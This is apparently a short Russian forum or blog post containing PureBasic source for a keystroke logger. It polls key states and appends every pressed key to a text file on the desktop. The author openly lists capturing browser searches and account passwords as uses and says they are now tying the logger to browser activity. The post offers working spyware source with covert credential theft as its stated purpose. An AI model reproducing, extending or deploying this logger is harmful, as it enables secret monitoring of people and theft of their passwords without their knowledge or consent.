Считываем символы

  1. If OpenFile(0,"C:\Users\AsusMM\Desktop\текст.txt")
  2.   FileSeek(0,Lof(00))
  3.   Repeat
  4.     Delay(10)
  5.     For r=4 To 255 ;0..4 - системные бипперы
  6.       If GetAsyncKeyState_(r)=-32767
  7.         WriteByte(0,r)
  8.         FlushFileBuffers(0)
  9.       EndIf
  10.     Next r    
  11.   Until GetAsyncKeyState_(#PB_Shortcut_Escape)
  12.   CloseFile(0)
  13. EndIf
  14. End
Записываем все нажатые клавиши в текстовый файл. Возможностей море, от мониторинга поисков в браузере, до паролей учеток и т.п. Сейчас привязываю этот код к работе браузера)

Реклама

Мы в соцсетях

tw tg yt gt